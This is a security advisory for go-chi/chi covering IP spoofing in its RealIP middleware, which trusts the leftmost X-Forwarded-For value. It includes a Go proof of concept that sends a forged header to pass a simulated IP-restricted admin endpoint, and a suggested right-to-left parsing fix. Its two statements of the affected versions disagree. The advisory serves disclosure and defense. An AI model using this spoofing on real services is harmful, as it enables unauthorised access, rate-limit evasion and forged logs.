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GHSA-3fxj-6jh8-hvhx

Опубликовано: 25 июн. 2026
Источник: github
Github: Прошло ревью
CVSS4: 6.9

Описание

chi Has an IP Spoofing Vulnerability in middleware.RealIP

Summary

The RealIP middleware in go-chi/chi is vulnerable to IP spoofing because it blindly trusts the first (leftmost) element of the X-Forwarded-For HTTP header. This allows a remote attacker to bypass IP-based access control lists (ACLs) and rate-limiting mechanisms by providing a spoofed IP address in the header.

Details

In middleware/realip.go, the realIP function parses the X-Forwarded-For header and extracts the first comma-separated value:

func realIP(r *http.Request) string { // ... } else if xff := r.Header.Get(xForwardedFor); xff != "" { ip, _, _ = strings.Cut(xff, ",") } // ... }

Standard practice for X-Forwarded-For is that each proxy appends the client's IP to the end of the list. However, since the client can also provide this header, the leftmost values are untrusted. A client can send a header like X-Forwarded-For: <spoofed_ip>, <actual_proxy_ip>, and go-chi/chi will treat <spoofed_ip> as the source of the request.

Proof of Concept (PoC)

The following code demonstrates how an attacker can bypass an IP-based restriction.

package main import ( "fmt" "net/http" "net/http/httptest" "github.com/go-chi/chi/v5" "github.com/go-chi/chi/v5/middleware" ) func main() { r := chi.NewRouter() // Enable the vulnerable RealIP middleware r.Use(middleware.RealIP) // An endpoint that should be restricted to a specific administrator IP (1.2.3.4) r.Get("/admin/secret", func(w http.ResponseWriter, r *http.Request) { clientIP := r.RemoteAddr fmt.Printf("[Server] Request received from IP: %s\n", clientIP) // Simulate IP-based access control if clientIP == "1.2.3.4" { w.WriteHeader(http.StatusOK) w.Write([]byte("CONFIDENTIAL: The secret code is 42\n")) } else { w.WriteHeader(http.StatusForbidden) w.Write([]byte("Access Denied: You are not an administrator.\n")) } }) // --- Attack Simulation --- fmt.Println("--- PoC: IP Spoofing Attack on chi/middleware.RealIP ---") // 1. Normal Request (Should be denied) req1, _ := http.NewRequest("GET", "/admin/secret", nil) rr1 := httptest.NewRecorder() r.ServeHTTP(rr1, req1) fmt.Printf("[Client] Normal Request -> Status: %d, Body: %s", rr1.Code, rr1.Body.String()) // 2. Spoofed Request (Using X-Forwarded-For) // Attacker claims to be '1.2.3.4' req2, _ := http.NewRequest("GET", "/admin/secret", nil) req2.Header.Set("X-Forwarded-For", "1.2.3.4, 5.6.7.8") // 5.6.7.8 is a fake proxy IP rr2 := httptest.NewRecorder() r.ServeHTTP(rr2, req2) fmt.Printf("[Client] Spoofed Request -> Status: %d, Body: %s", rr2.Code, rr2.Body.String()) }

Impact

An attacker can masquerade as any IP address. This can lead to:

  • Bypass of Authentication/Authorization: Accessing administrative panels or private APIs restricted by IP.
  • Rate Limiting Evasion: Circumbeting rate limiters that use RemoteAddr as a key.
  • Log Forgery: Causing incorrect IP addresses to be recorded in security logs.

CWE

  • CWE-290: Authentication Bypass by Spoofing
  • CWE-345: Insufficient Verification of Data Authenticity

CVSS Score

  • CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N (6.9 Moderate)

Affected Versions

  • github.com/go-chi/chi/v5 <= v5.2.1 (and all previous versions)

Recommendation

  1. Stop using middleware.RealIP if you cannot guarantee that the incoming request headers are from a trusted source and have been sanitized by a proxy.
  2. Implement a trust-based IP extraction mechanism that verifies the chain of proxies.
  3. Use the X-Forwarded-For header by traversing it from right to left and stopping at the first IP address that is not in your list of trusted proxies.

Suggested Fix

A secure implementation of RealIP should allow developers to specify a list of trusted proxy IP ranges (CIDRs). Below is a conceptual example of how to fix this by traversing the X-Forwarded-For header from right to left:

func GetClientIP(r *http.Request, trustedProxies []net.IPNet) string { xff := r.Header.Get("X-Forwarded-For") if xff == "" { return r.RemoteAddr } ips := strings.Split(xff, ",") // Traverse from right to left for i := len(ips) - 1; i >= 0; i-- { ipStr := strings.TrimSpace(ips[i]) ip := net.ParseIP(ipStr) if ip == nil { continue } if !isTrustedProxy(ip, trustedProxies) { return ipStr } } return r.RemoteAddr } func isTrustedProxy(ip net.IP, trustedProxies []net.IPNet) bool { for _, network := range trustedProxies { if network.Contains(ip) { return true } } return false }

By providing a configuration like middleware.RealIPWithConfig(Config{TrustedProxies: []string{"10.0.0.0/8"}}) , the middleware can safely identify the true client IP even in complex proxy environments.

Ссылки

Пакеты

Наименование

github.com/go-chi/chi/v5/middleware

go
Затронутые версииВерсия исправления

>= 5.2.1, < 5.3.0

5.3.0

6.9 Medium

CVSS4

Дефекты

CWE-290
CWE-345

6.9 Medium

CVSS4

Дефекты

CWE-290
CWE-345